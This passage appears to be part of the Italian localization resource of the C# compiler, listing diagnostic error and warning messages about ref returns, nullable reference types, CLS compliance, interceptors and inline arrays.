restituire la variabile locale '{0}' per riferimento perché non è una variabile locale ref + Non è possibile eseguire l'invio dinamico richiesto della chiamata al costruttore perché la chiamata fa parte di un inizializzatore del costruttore. Provare a eseguire il cast degli argomenti dinamici. + Non è possibile dedurre il tipo della variabile out '{0}' tipizzata in modo implicito. + Non è possibile incorporare i tipi di interoperabilità dall'assembly '{0}' perché manca l'attributo '{1}'. + La direttiva #line span richiede uno spazio prima della prima parentesi, prima dell'offset dei caratteri e prima del nome del file + inizializzatore di oggetto + Le variabili tipizzate in modo implicito non possono avere più dichiaratori + Non è possibile restituire {0} '{1}' per riferimento scrivibile perché è una variabile di sola lettura + Uno spazio dei nomi non può contenere direttamente membri come campi, metodi o istruzioni + Il modificatore del membro '{0}' deve precedere il nome e il tipo del membro + L'espressione switch non gestisce tutti i possibili valori del relativo tipo di input (non è esaustiva). + Intercettazione di una chiamata a '{0}' con l'intercettore '{1}', ma le firme non corrispondono. + È previsto il segno } + Il blocco switch è vuoto + È previsto un argomento denominato dell'attributo + Impossibile convertire la stringa di input nella rappresentazione di UTF-8 byte equivalente. {0} + Il parametro ha più valori predefiniti distinct. + L'argomento di tipo '{0}' non è applicabile per l'attributo DefaultParameterValue + La conversione definita dall'utente deve eseguire la conversione verso o da un tipo di inclusione + Uso del campo probabilmente non assegnato + Il membro struct '{0}' di tipo '{1}' causa un ciclo nel layout della struct + Il tipo di vincolo non è conforme a CLS + criterio tra parentesi + Non è possibile applicare la classe Attribute '{0}' perché è astratta + Viene restituito un membro di '{0}' locale per riferimento, ma non è un ref locale + L'espressione specificata corrisponde sempre alla costante fornita. + '{0}' deve dichiarare un corpo perché non è contrassegnato come abstract, extern o partial + È stato rilevato codice non raggiungibile + '{0}' non può implementare il membro di interfaccia '{1}' nel tipo '{2}' perché la funzionalità '{3}' non è disponibile in C# {4}. Usare la versione '{5}' o versioni successive del linguaggio. + Il campo ref '{0}' deve essere assegnato come riferimento prima dell'uso. + Possibile assegnazione di riferimento Null. + struct di record + In questo metodo asincrono non sono presenti operatori 'await', pertanto verrà eseguito in modo sincrono. Provare a usare l'operatore 'await' per attendere chiamate ad API non di blocco oppure 'await Task.Run(...)' per effettuare elaborazioni basate sulla CPU in un thread in background. + Non è possibile usare la parola chiave contestuale 'var' come tipo restituito dell’espressione lambda + setter di sola inizializzazione + La variabile di intervallo '{0}' non può avere lo stesso nome di un parametro di tipo del metodo + Per il tipo '{0}' non sono definiti costruttori + metodo anonimo + È previsto uno script (file con estensione csx) ma non ne è stato specificato nessuno + Solo una dichiarazione parziale di singolo record può includere un elenco di parametri + Non è possibile usare Seziona modelli per un valore di tipo '{0}'. + Restituisce un parametro per riferimento, ma non è un parametro ref + tipi nullable + '{0}' richiede la funzionalità del compilatore '{1}', che non è supportata da questa versione del compilatore C#. + Il costruttore primario è in conflitto con il costruttore di copia sintetizzato. + L'opzione /noconfig è stata ignorata perché è stata specificata in un file di risposta + tipi riferimento nullable + Nel form di decostruzione 'var (...)' non è consentito un tipo specifico per 'var'. + Il numero di riga specificato per la direttiva #line manca o non è valido + Il formato XML non è valido. Non è possibile includere il file "{0}" + Non è possibile caricare l'assembly dell'analizzatore {0}: {1} + L'operatore definito dall'utente '{0}' deve essere dichiarato come static e public + La dichiarazione non è valida. Usare '{0} operator <tipo distruttore> (...' + '{0}': i tipi statici non possono essere usati come tipi restituiti + '{0}' non deve contenere un parametro params perché '{1}' non ne ha + '{0}' locale viene restituito per riferimento ma è stato inizializzato su un valore che non può essere restituito dal riferimento + Il controllo viene restituito al chiamante prima che il campo sia assegnato in modo esplicito, determinando un'assegnazione implicita precedente di 'default'. + Non è possibile creare il file temporaneo - {0} + Il miglior overload per '{0}' non ha un parametro denominato '{1}' + Il parametro di tipo '{0}' ha lo stesso nome del tipo che lo contiene o del metodo + Il membro nasconde il membro ereditato. Manca la parola chiave new + Un metodo parziale deve essere dichiarato in un tipo parziale + Il tipo '{1}' in '{0}' è in conflitto con lo spazio dei nomi importato '{3}' in '{2}'. Verrà usato il tipo definito in '{0}'. + Lo spazio dei nomi '{1}' in '{0}' è in conflitto con il tipo importato '{3}' in '{2}'. Verrà usato lo spazio dei nomi definito in '{0}'. + Il miglior metodo Add di overload '{0}' per l'inizializzatore di raccolta presenta alcuni argomenti non validi + Un'espressione di tipo '{0}' non può mai corrispondere al criterio specificato. + I criteri di elenco non possono essere utilizzati per un valore di tipo '{0}'. Non è stata trovata alcuna proprietà 'Length' o 'Count' appropriata. + Per la creazione della matrice occorre specificare la dimensione della matrice o l'inizializzatore della matrice + uguaglianza tuple + Il parametro di tipo '{0}', diversamente da altri parametri di tipo, non contiene tag typeparam corrispondenti nel commento XML per '{1}' + Non è possibile intercettare: Il percorso '{0}' non è mappato. Previsto percorso mappato '{1}'. + Un parametro in non può avere l'attributo Out. + L'assegnazione nell'espressione condizionale è sempre costante. Si intendeva utilizzare == invece di = ? + Si è verificato un errore durante la lettura del file manifesto Win32 '{0}' - '{1}' + Un albero delle espressioni non può contenere una conversione del gestore di stringhe interpolate. + I rami dell'operatore condizionale di riferimento fanno riferimento a variabili con ambiti di dichiarazione incompatibili + L'attributo '{0}' del modulo '{1}' verrà ignorato e verrà usata l'istanza presente nell'origine + Non è possibile assegnare {0} a una variabile di intervallo + Un parametro params deve essere l'ultimo parametro in un elenco di parametri + Per la corrispondenza del tipo di tupla '{0}' sono richiesti '{1}' criteri secondari, ma ne sono presenti '{2}'. + L'utilizzo dell'istruzione throw senza argomenti non è consentito in una clausola finally annidata all'interno della clausola catch di inclusione più vicina + La funzione di accesso 'set' '{0}' implementata automaticamente non può essere contrassegnata come 'readonly'. + La tupla deve contenere almeno due elementi. + Il tipo '{0}' non può essere usato come argomento di tipo + L'istruzione foreach non può funzionare con variabili di tipo '{0}' perché '{0}' non contiene una definizione di istanza o estensione pubblica per '{1}'. Si intendeva 'await foreach' invece di 'foreach'? + Il nome file '{0}' è vuoto, contiene caratteri non validi, include una specifica di unità senza percorso assoluto oppure è troppo lungo + Questo riferimento assegna '{1}' a '{0}' ma '{1}' ha un ambito di escape del valore più ampio di '{0}' consentendo l'assegnazione tramite '{0}' di valori con ambiti di escape più ristretti rispetto a '{1}'. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al membro di cui è stato eseguito l'override. + Il runtime di destinazione non supporta l'accessibilità 'protected', 'protected internal' o 'private protected' per un membro di un'interfaccia. + Non è possibile incorporare il tipo di interoperabilità '{0}' perché manca l'attributo obbligatorio '{1}'. + L'espressione lambda asincrona convertita in un delegato che restituisce '{0}' non può restituire un valore + vincoli di tipo generico unmanaged + L'annotazione per i tipi riferimento nullable deve essere usata solo nel codice all'interno di un contesto di annotazioni '#nullable'. Il codice generato automaticamente richiede una direttiva '#nullable' esplicita nell'origine. + Il nome del linguaggio '{0}' non è valido. + Impossibile utilizzare più di un tipo nelle istruzioni for, using, fixed e nelle dichiarazioni + Non è possibile assegnare la variabile di intervallo '{0}'. È di sola lettura + '{0}' non contiene un costruttore che accetta argomenti {1} + Le stringhe delle impostazioni cultura dell'assembly potrebbero non contenere caratteri NUL incorporati. + Elenco parametri imprevisto. + Un inizializzatore di modulo deve essere un metodo membro normale + Un campo fisso non deve essere un campo ref. + stringhe interpolate costanti + '{0}': non è possibile specificare sia una classe constraint che il vincolo 'unmanaged' + Non è possibile usare la variabile '{0}' in questo contesto perché potrebbe esporre variabili di riferimento all'esterno del relativo ambito di dichiarazione + Non è consentito usare il tipo nullable '{0}?' in un criterio. Usare il tipo sottostante '{0}'. + È possibile accedere a un membro di interfaccia statico virtuale o astratto solo su un parametro di tipo. + Entrambe le dichiarazioni di metodo parziale devono usare un parametro params, altrimenti nessuna delle due potrà usarla + Nella dichiarazione di interfaccia esplicita '{0}' non è stato trovato tra i membri dell'interfaccia implementabili + Il tipo '{1}' in '{0}' è in conflitto con il tipo importato '{3}' in '{2}'. Verrà usato il tipo definito in '{0}'. + L'applicazione esplicita di 'System.Runtime.CompilerServices.NullableAttribute' non è consentita. + Gli elementi di una matrice non possono essere di tipo '{0}' + Non è possibile inserire modificatori nelle dichiarazioni delle funzioni di accesso agli eventi + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' non può implementare implicitamente un membro inaccessibile. + La classe base '{0}' deve precedere le interfacce + L'espressione condizionale non è valida nella versione del linguaggio {0} perché non è stato trovato un tipo comune tra '{1}' e '{2}'. Per usare una conversione tipizzata come destinazione, eseguire l'aggiornamento alla versione {3} o a versioni successive del linguaggio. + Sono state specificate opzioni in conflitto: file di risorse Win32; manifesto Win32 + Gli iteratori non possono avere parametri di tipo puntatore + Non è possibile applicare CallerMemberNameAttribute perché non sono disponibili conversioni standard dal tipo '{0}' al tipo '{1}' + Non è possibile restituire per riferimento un membro del parametro '{0}' perché non è un parametro ref o out + (Posizione del simbolo relativo all'errore precedente) + è stato specificato l'argomento stdin '-', ma l'input non è stato reindirizzato dal flusso di input standard. + Impossibile produrre un valore nel corpo di una clausola catch + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato in modo implicito, probabilmente a causa degli attributi del supporto dei valori Null. + Poiché si tratta di un metodo asincrono, l'espressione restituita deve essere di tipo '{0}' anziché '{1}' + È previsto il segno { o un punto e virgola (;) + La parola chiave 'this' non può essere utilizzata in una proprietà statica, in un metodo statico o nell'inizializzatore di un campo statico + Il parametro contiene un modificatore di parametri in lambda ma non nel tipo delegato di destinazione. + Il membro di interfaccia '{0}' non contiene un'implementazione più specifica. Né '{1}' né '{2}' sono più specifiche. + parametro facoltativo + Il percorso di ricerca specificato non è valido + Non è possibile restituire 'this' per riferimento. + Il tipo di interoperabilità corrispondente al tipo di interoperabilità incorporato '{0}' non è stato trovato. Probabilmente manca un riferimento all'assembly. + Questo avviso viene visualizzato se gli attributi di assembly AssemblyKeyFileAttribute o AssemblyKeyNameAttribute rilevati nell'origine sono in conflitto con l'opzione della riga di comando /keyfile o /keycontainer oppure con il nome del file di chiave o con il contenitore di chiavi specificato in Proprietà progetto. + Questo avviso indica che un attributo, ad esempio InternalsVisibleToAttribute, non è stato specificato correttamente. + indicatore di misura + Una dichiarazione di una variabile per riferimento deve contenere un inizializzatore + 'Non è possibile applicare 'MethodImplOptions.Synchronized' a un metodo asincrono + Non è possibile restituire un parametro '{0}' per riferimento perché non è un parametro ref + '{0}' non è un modificatore di tipo restituito di puntatore a funzione valido. I modificatori validi sono 'ref' e 'ref readonly'. + Impossibile passare l'argomento {0} con la parola chiave 'ref' nella versione del linguaggio {1}. Per passare gli argomenti 'ref' ai parametri 'in', eseguire l'aggiornamento alla versione del linguaggio {2} o successiva. + Creazione oggetto non valida + Il parametro deve avere un valore non Null quando viene terminato perché il parametro a cui fa riferimento NotNullIfNotNull è non Null. + Gli elementi definiti in uno spazio dei nomi non possono essere dichiarati in modo esplicito come private, protected, protected internal o private protected + Uno dei parametri di un operatore binario deve essere il tipo che lo contiene o il relativo parametro di tipo vincolato ad esso. + L'opzione /moduleassemblyname può essere specificata solo durante la compilazione del tipo di destinazione di 'module' + Il supporto dei valori Null dei tipi riferimento nel tipo restituito di '{0}' non corrisponde al delegato di destinazione '{1}', probabilmente a causa degli attributi del supporto dei valori Null. + Il parametro di tipo '{0}' eredita i vincoli in conflitto '{1}' e '{2}' + L'identificatore di risorsa '{0}' è già stato usato in questo assembly + Il valore di parametro predefinito per '{0}' deve essere una costante in fase di compilazione + Il programma non contiene un metodo 'Main' statico appropriato per un punto di ingresso + Non è possibile restituire il parametro del costruttore primario '{0}' per riferimento. + Il membro di record '{0}' non può essere statico. + Questo errore si verifica quando in due assembly viene trovato un tipo di sistema predefinito, come System.Int32. Questa situazione può verificarsi, ad esempio, se si fa riferimento a mscorlib o a System.Runtime.dll da due punti diversi, nel tentativo di eseguire due versioni affiancate di .NET Framework. + Non è possibile restituire un membro di '{0}' per riferimento perché è stato inizializzato con un valore che non può essere restituito per riferimento + Il membro obbligatorio '{0}' non può essere nascosto da '{1}'. + I metodi con argomenti variabili non sono conformi alle specifiche CLS + Usare Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal per creare token letterali di tipo numerico. + Entrambe le dichiarazioni di metodo parziale devono essere statiche, altrimenti nessuna delle due potrà esserlo + '{0}' non è un tipo riferimento richiesto dall'istruzione lock + '{0}' non implementa il criterio '{1}'. '{2}' non è un metodo di estensione o istanza pubblico. + L'istruzione foreach asincrona non può funzionare con variabili di tipo '{0}' perché implementa più creazioni di un'istanza di '{1}'. Provare a eseguire il cast su una creazione di un'istanza di interfaccia specifica + Il campo ref deve essere assegnato come riferimento prima dell'uso. + Non è possibile restituire un campo di sola lettura statico per riferimento scrivibile + L'istruzione foreach asincrona non può funzionare con variabili di tipo '{0}' perché '{0}' non contiene una definizione di istanza o estensione pubblica per '{1}'. Si intendeva 'foreach' invece di 'await foreach'? + Impossibile dichiarare controllato un operatore di conversione 'implicit' definito dall'utente + Le interfacce compatibili con CLS devono contenere solo membri conformi a CLS + I moduli aggiunti devono essere contrassegnati con l'attributo CLSCompliant per corrispondere all'assembly + '{0}': il nome di un parametro, di una variabile locale o di una funzione locale non può essere uguale a quello di un parametro di tipo del metodo + Il tipo restituito non è conforme a CLS + Si è verificato un errore durante l'apertura del file icona {0} - {1} + '{0}' non può implementare il membro di interfaccia '{1}' nel tipo '{2}' perché contiene un parametro __arglist + L'assembly caricato fa riferimento a .NET Framework, che non è supportato. + Questa combinazione di argomenti per '{0}' può esporre variabili a cui fa riferimento il parametro '{1}' all'esterno del relativo ambito di dichiarazione + Non è possibile dedurre il tipo della variabile di decostruzione '{0}' tipizzata in modo implicito. + Non è possibile usare il membro in questo attributo. + I vincoli per i metodi di override e di implementazione esplicita dell'interfaccia sono ereditati dal metodo base, quindi non possono essere specificati direttamente, ad eccezione di un vincolo 'class' o 'struct'. + Il nome file specificato per la direttiva per il preprocessore non è valido + Il parametro del costruttore primario struct '{0}' di tipo '{1}' causa un ciclo nel layout dello struct + '{0}' è definito nell'assembly '{1}'. + In una stringa interpolata è necessario specificare il carattere di escape di un carattere '{0}' raddoppiandolo. + Conversione del gruppo di metodi '{0}' nel tipo non delegato '{1}'. Si intendeva richiamare il metodo? + metodo di estensione + L'espressione non ha un nome. + L'intercettore deve avere un parametro 'this' corrispondente al parametro '{0}' su '{1}'. + Si è verificato un errore imprevisto durante la scrittura delle informazioni di debug - '{0}' + Compilazione (C#): + Il tipo non è conforme a CLS + Non è possibile convertire nel tipo statico '{0}' + Il tipo non contiene costruttori accessibili che usano solo tipi conformi a CLS + Un membro viene restituito dal riferimento ma è stato inizializzato su un valore che non può essere restituito dal riferimento + 'Non è possibile contrassegnare '{0}' come conforme a CLS perché è un membro del tipo non conforme a CLS '{1}' + L'espressione di filtro è una costante 'false'. Provare a rimuovere la clausola catch + tipi anonimi + La costante '{0}' non può essere contrassegnata come static + Non è possibile usare la proprietà o l'indicizzatore '{0}' in questo contesto perché manca la funzione di accesso get + Tutte le proprietà di istanza implementate automaticamente in struct di sola lettura devono essere di sola lettura. + È previsto un tipo restituito simile a un'attività generica, ma il tipo '{0}' trovato nell'attributo 'AsyncMethodBuilder' non è idoneo. Deve essere un tipo generico non associato di grado uno e il tipo che lo contiene (se presente) deve essere non generico. + Le proprietà di istanza nelle interfacce non possono avere inizializzatori. + La versione specificata '{0}' del linguaggio non può contenere zeri iniziali + Non è possibile aggiungere all'inizializzatore di modulo l'attributo 'UnmanagedCallersOnly'. + Si è verificato un errore durante l'apertura del file di risposta '{0}' + Il miglior metodo Add di overload per l'elemento inizializzatore di raccolta è obsoleto + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al delegato di destinazione, probabilmente a causa degli attributi del supporto dei valori Null. + ToString sealed nel record + Accessibilità incoerente: il tipo restituito '{1}' è meno accessibile dell'operatore '{0}' + Alias extern non usato. + Nello stesso elenco di argomenti non è consentito il riferimento a una variabile out tipizzata in modo implicito '{0}'. + Manca il modificatore parziale nella dichiarazione di tipo '{0}'. È presente un'altra dichiarazione parziale di questo tipo + Non è possibile convertire l'espressione in '{0}' perché non è una variabile assegnabile + '{0}': non è possibile eseguire l'override perché '{1}' non ha di una funzione di accesso set di cui eseguire l'override + Criterio mancante + L'alias extern '{0}' non è stato specificato in un'opzione /reference + '{0}' non è una posizione riconosciuta dell'attributo. Le posizioni valide degli attributi sono '{1}'. Tutti gli attributi in questo blocco verranno ignorati. + __arglist non può contenere un argomento di tipo void + Il parametro {0} deve essere dichiarato con la parola chiave '{1}' + L'interfaccia '{0}' contiene un'interfaccia di origine non valida che è necessaria per incorporare l'evento '{1}'. + Non è possibile usare la migliore corrispondenza '{0}' del metodo di overload per l'elemento inizializzatore di raccolta. I metodi 'Add' dell'inizializzatore di raccolta non possono avere parametri out o ref. + Type viene usato solo a scopo di valutazione e potrebbe essere modificato o rimosso in aggiornamenti futuri. + L'operatore '&' non deve essere usato su parametri o variabili locali in metodi asincroni. + '{0}': non sono stati trovati metodi appropriati per eseguire l'override + <elenco percorsi> + Non è possibile modificare i membri di '{0}' perché è '{1}' + '{0}': solo i membri conformi a CLS possono essere di tipo abstract + Direttiva using non necessaria + Non è possibile collegare i file di risorse durante la compilazione di un modulo + <spazio dei nomi globale> + Dipendenza di vincolo circolare che interessa '{0}' e '{1}' + '{0}' definisce l'operatore == o l'operatore != ma non esegue l'override di Object.GetHashCode() + Versioni del linguaggio supportate: + Il nome '_' fa riferimento alla costante e non al criterio di eliminazione. Usare 'var _' per eliminare il valore oppure '@_' per fare riferimento a una costante in base a tale nome. + Uno dei parametri di un operatore binario deve essere il tipo che lo contiene + '{0}' non implementa '{1}' + Non è possibile accedere al membro protetto '{0}' tramite un qualificatore di tipo '{1}'. Il qualificatore deve essere di tipo '{2}' o derivato da esso + I valori letterali stringa non elaborati non sono consentiti nelle direttive del preprocessore. + Manca il membro '{0}.{1}', necessario per il compilatore + Gli attributi di assembly e modulo non sono consentiti in questo contesto + È previsto un commento su una sola riga o la fine riga + Il membro non nasconde un membro ereditato. La parola chiave new non è obbligatoria + Il tipo del generatore CollectionBuilderAttribute deve essere una classe o uno struct non generico. + Le struct senza costruttori espliciti non possono contenere membri con inizializzatori. + '{0}': non si possono usare classi statiche come vincoli + Il tipo restituito di un metodo asincrono deve essere void, Task, Task<T>, un tipo simile a Task, IAsyncEnumerable<T> o IAsyncEnumerator<T> + Il commento XML contiene l'attributo cref '{0}' che non è stato possibile risolvere + Il nome di tipo '{0}' non è stato trovato nello spazio dei nomi '{1}'. Il tipo è stato inoltrato all'assembly '{2}'. Provare ad aggiungere un riferimento all'assembly. + Il metodo '{0}' specifica un vincolo 'class' per il parametro di tipo '{1}', ma il parametro di tipo corrispondente '{2}' del metodo '{3}' sottoposto a override o implementato in modo esplicito non è un tipo riferimento. + L'istruzione foreach non può funzionare con '{0}'. Si intendeva richiamare '{0}'? + Un riferimento a un campo volatile non verrà considerato volatile + L'accesso a un membro in un campo di una classe con marshalling per riferimento potrebbe causare un'eccezione in fase di esecuzione + Il campo non può essere di tipo void + Impossibile intercettare il possibile nome di metodo '{0}' perché non è stato richiamato. + Il tipo di base non è conforme a CLS + Non è possibile modificare i membri del parametro del costruttore primario '{0}' di un tipo di sola lettura, tranne che nel setter di sola inizializzazione del tipo o in un inizializzatore di variabile + I metodi di estensione devono essere definiti in una classe statica di primo livello, mentre {0} è una classe annidata + La convenzione di chiamata di '{0}' non è supportata dal linguaggio. + Il modulo '{0}' è già definito in questo assembly. Ogni modulo deve avere un nome di file univoco. + Gli attributi non sono validi in questo contesto. + buffer a dimensione fissa + Non è possibile inserire un punto e virgola dopo un blocco di metodo o di funzione di accesso + Non è possibile usare i membri di {0} '{1}' come valore ref o out perché è una variabile di sola lettura + Impossibile dichiarare controllato l'operatore '{0}' definito dall'utente + L'incorporamento del tipo di interoperabilità '{0}' dall'assembly '{1}' causa un conflitto di nomi nell'assembly corrente. Provare a impostare la proprietà 'Incorpora tipi di interoperabilità' su false. + I metodi con argomenti variabili non sono conformi alle specifiche CLS + '{0}': i modificatori di accessibilità per le funzioni di accesso possono essere usati solo se la proprietà o l'indicizzatore ha entrambe le funzioni di accesso get e set + Non è possibile definire una classe o un membro che usa 'dynamic' perché non è stato trovato il tipo '{0}' richiesto dal compilatore. Probabilmente manca un riferimento. + Il modificatore 'abstract' non è valido nei campi. Provare a utilizzare una proprietà. + Un costruttore di copia '{0}' deve essere pubblico o protetto perché il record non è sealed. + opzione su tipo booleano + Il risultato dell'espressione è sempre 'null' di tipo '{0}' + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' non corrisponde alla dichiarazione di metodo parziale. + L'attributo CLSCompliant non ha significato quando applicato a tipi restituiti + Non è possibile convertire '{0}' nel tipo delegato previsto perché alcuni dei tipi restituiti nel blocco non sono convertibili in modo implicito nel tipo restituito del delegato + Manca il commento XML per il tipo o il membro '{0}' visibile pubblicamente + Il membro '{0}' implementa il membro di interfaccia '{1}' nel tipo '{2}'. In fase di esecuzione sono presenti più corrispondenze del membro di interfaccia. Il metodo che verrà chiamato dipende dall'implementazione. + Il compilatore genera questo avviso quando esegue l'override di un errore con un avviso. Per informazioni sul problema, cercare il codice errore indicato. + variabile using + Il vincolo new() deve essere l'ultimo vincolo specificato + '{0}' è già incluso nell'elenco di interfacce nel tipo '{2}' con nomi di elementi di tupla diversi, come '{1}'. + Non è possibile usare l'argomento di tipo '{0}' come output del tipo '{1}' per il parametro '{2}' in '{3}' a causa delle differenze nel supporto dei valori Null dei tipi riferimento. + campi ref + Non è possibile assegnare un valore diverso al campo '{0}'. Il valore predefinito è {1} + Il riferimento {0} all'assembly Friend non è valido. Gli assembly firmati con nome sicuro devono specificare una chiave pubblica nelle rispettive dichiarazioni InternalsVisibleTo. + Il tipo non è conforme a CLS perché l'interfaccia di base non è conforme a CLS + Il tipo '{1}' definisce già un membro denominato '{0}' con gli stessi tipi di parametro + <!-- Badly formed XML comment ignored for member "{0}" --> + La struttura di matrice inline non deve avere un layout esplicito. + Non è possibile convertire il blocco di metodi anonimi senza elenco parametri nel tipo delegato '{0}' perché contiene uno o più parametri out + Il supporto dei valori Null del tipo del parametro '{0}' non corrisponde al membro di cui è stato eseguito l'override, probabilmente a causa degli attributi del supporto dei valori Null. + L'attributo '{0}' è valido solo per metodi o classi Attribute + La lunghezza della matrice inline deve essere maggiore di 0. + Non è possibile usare la parola chiave 'void' in questo contesto + L'espressione switch non gestisce alcuni input Null (non è esaustiva). Ad esempio, il criterio '{0}' non è coperto. Un criterio con una clausola 'when' potrebbe però corrispondere a questo valore. + La funzionalità di linguaggio 'Matrici inline' non è supportata per i tipi di matrice inline con un campo elemento che è un campo 'ref' o ha un tipo non valido come argomento di tipo. + Lo spazio dei nomi '{1}' contiene già una definizione per '{0}' + elementi: non deve essere vuoto + funzioni locali extern + È previsto un identificatore o un valore letterale. + Il commento XML in '{1}' ha un tag paramref per '{0}', ma non esiste nessun parametro con questo nome + È previsto un operatore unario che supporti l'overload + Restituisce per riferimento un membro del parametro '{0}' che non è un parametro ref o out + Non è possibile eseguire la ricerca di membri non virtuali in '{0}' perché è un parametro di tipo + Con un criterio secondario di proprietà è richiesto un riferimento alla proprietà o al campo da abbinare, ad esempio '{{ Name: {0} }}' + Il nome modulo '{0}' memorizzato in '{1}' deve corrispondere al relativo nome di file. + Non è possibile convertire il valore letterale Null in tipo riferimento che non ammette i valori Null. + Se si usa '{0}' come valore out o ref oppure se ne accetta l'indirizzo, potrebbe verificarsi un'eccezione in fase di esecuzione perché è un campo di una classe con marshalling per riferimento + La stringa di versione specificata '{0}' non è conforme al formato consigliato: principale.secondaria.build.revisione + Restituisce per riferimento un membro di parametro che non è un parametro ref o out + '{0}': gli elementi di matrice non possono essere di tipo statico + costruttore + L'elemento SyntaxTree non fa parte della compilazione, di conseguenza non può essere rimosso + Non è possibile determinare il tipo di espressione condizionale perché non esiste conversione implicita tra '{0}' e '{1}' + Non è possibile assegnare a '{0}' perché è '{1}' + L'evento '{0}' può essere specificato solo sul lato sinistro di += o di -= (tranne quando è usato dall'interno del tipo '{1}') + Non è possibile usare la proprietà o l'indicizzatore '{0}' in questo contesto perché la funzione di accesso set è inaccessibile + Il modificatore 'scoped' del parametro '{0}' non corrisponde all'elemento '{1}' di destinazione. + {0} non è un'espressione di conversione C# valida + L'argomento denominato '{0}' specifica un parametro per il quale è già stato fornito un argomento posizionale + Non è possibile convertire il gruppo di metodi '{0}' nel tipo non delegato '{1}'. Si intendeva richiamare il metodo? + L'opzione /win32manifest per il modulo verrà ignorata perché si applica solo agli assembly + Con foreach il tipo restituito '{0}' di '{1}' deve essere associato a un metodo 'MoveNext' pubblico e a una proprietà 'Current' pubblica appropriati + (Posizione del simbolo relativo all'avviso precedente) + Gli inizializzatori di matrice possono essere usati solo in un inizializzatore di campo o di variabile. Provare a usare un'espressione new. + <null> + <testo> + vincoli di parametro di tipo predefiniti + Riferimenti non corrispondenti tra '{0}' e il delegato '{1}' + '{0}': non è possibile eseguire l'override. '{1}' non è una funzione + variabile locale tipizzata in modo implicito + Il membro di record '{0}' deve essere una proprietà di istanza leggibile o campo di tipo '{1}' per corrispondere al parametro posizionale '{2}'. + '{0}' non può implementare il membro di interfaccia '{1}' nel tipo '{2}' perché il runtime di destinazione non supporta l'implementazione di interfaccia predefinita. + La struttura della matrice inline deve dichiarare un solo campo di istanza. + Il tipo predefinito '{0}' deve essere uno struct. + Un accesso a matrice inline non può includere un identificatore di argomento denominato + matrice tipizzata in modo implicito + Usare Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier o Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier per creare token di identificatore. + Impossibile utilizzare la parola chiave 'delegate' come vincolo. Si intendeva 'System.Delegate'? + '{0}': il tipo usato in un'istruzione using deve essere convertibile in modo implicito in 'System.IDisposable'. + È probabile che il confronto dei riferimenti non sia intenzionale. Per confrontare i valori, eseguire il cast dell'espressione di sinistra sul tipo '{0}' + L'identificatore del numero di dimensioni non è valido: è previsto ',' o ']' + La funzione di accesso alla proprietà è già definita + Non è possibile inizializzare una variabile locale tipizzata in modo implicito con un inizializzatore di matrici + Nuova riga nella costante + È previsto 'warnings', 'annotations' o la fine della direttiva + Non è possibile creare un'istanza dell'analizzatore + Il corpo di '{0}' non può essere un blocco iteratore perché '{1}' non è un tipo interfaccia iteratore + L'espressione da assegnare a '{0}' deve essere costante + Impossibile specificare la dimensione della matrice in una dichiarazione di variabile. Provare a inizializzare con un'espressione 'new' + L'espressione di filtro è una costante 'false'. + '{0}': l'evento astratto non può avere inizializzatori + Sono stati importati più assembly con identità equivalenti: '{0}' e '{1}'. Rimuovere uno dei riferimenti duplicati. + '{0}': il tipo usato in un'istruzione using deve essere convertibile in modo implicito in 'System.IDisposable'. Si intendeva 'await using' invece di 'using'? + Il tipo '{1}' in '{0}' è in conflitto con lo spazio dei nomi '{3}' in '{2}' + L'input corrisponde sempre al criterio specificato. + Il parametro '{0}' viene acquisito nello stato del tipo di inclusione e il relativo valore viene utilizzato anche per inizializzare un campo, una proprietà o un evento. + CallerLineNumberAttribute non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + È previsto un tipo + La posizione deve essere inclusa nello span dell'albero della sintassi. + inizializzatori di modulo + L'albero delle espressioni non può contenere un inizializzatore di matrici multidimensionali + Il runtime di destinazione non supporta convenzioni di chiamata predefinite estendibili o dell'ambiente di runtime. + InterpolatedStringHandlerArgument non ha alcun effetto se viene applicato ai parametri lambda e verrà ignorato nel sito di chiamata. + Le interfacce non possono contenere campi di istanza + Non è possibile restituire '{0}' per riferimento perché è stato inizializzato con un valore che non può essere restituito per riferimento + Una direttiva sull'utilizzo globale deve precedere tutte le direttiva non sull'uso non globale. + Uso imprevisto di un nome con alias + Non è possibile usare una matrice di parametri con il modificatore 'this' in un metodo di estensione + Non è possibile eseguire l'invio dinamico richiesto della chiamata al metodo '{0}' perché fa parte di un'espressione di accesso di base. Provare a eseguire il cast degli argomenti dinamici o a eliminare l'accesso di base. + Una proprietà implementata automaticamente deve essere assegnata completamente prima che il controllo sia restituito al chiamante. Provare ad aggiornare la versione del linguaggio per impostare automaticamente la proprietà come predefinita. + '{0}': un tipo non può essere sia statico che sealed + Le dichiarazioni parziali di '{0}' devono essere costituite solo da classi, classi di record, struct di record o interfacce + GetEnumerator dell'estensione + Il nome del tipo '{0}' contiene solo caratteri ascii minuscoli. Tali nomi possono diventare riservati per la lingua. + Il campo conforme a CLS '{0}' non può essere volatile + Questa versione di '{0}' non può essere utilizzata con espressioni di raccolta. + È prevista la parola chiave contestuale 'equals' + 'La sintassi 'id#' non è più supportata. Usare '$id'. + La riga e il numero di carattere specificati non fanno riferimento all'inizio del token '{0}'. Volevi usare la riga '{1}' e il carattere '{2}'? + Il punto di ingresso del programma è codice globale. Il punto di ingresso verrà ignorato + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' di '{1}' non corrisponde al membro implementato in modo implicito '{2}'. + Il campo non viene mai usato + L'oggetto '{0}' non può essere eliminato più di una volta. + Un albero delle espressioni non può contenere un operatore == o != di tupla + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' non può implementare '{1}' perché non contiene il valore restituito corrispondente per riferimento. + Non è possibile usare '{0}' come modificatore in un parametro di puntatore a funzione. + L'accesso ai buffer a dimensione fissa è consentito solo tramite variabili locali o campi + Il commento XML in '{1}' ha un tag typeparamref per '{0}', ma non esiste nessun parametro di tipo con questo nome + Uno dei parametri di un operatore di uguaglianza o disuguaglianza dichiarato nell'interfaccia '{0}' deve essere un parametro di tipo in '{0}' vincolato a '{0}' + valori letterali stringa non elaborati + espressione condizionale con tipo di destinazione + override del generatore di 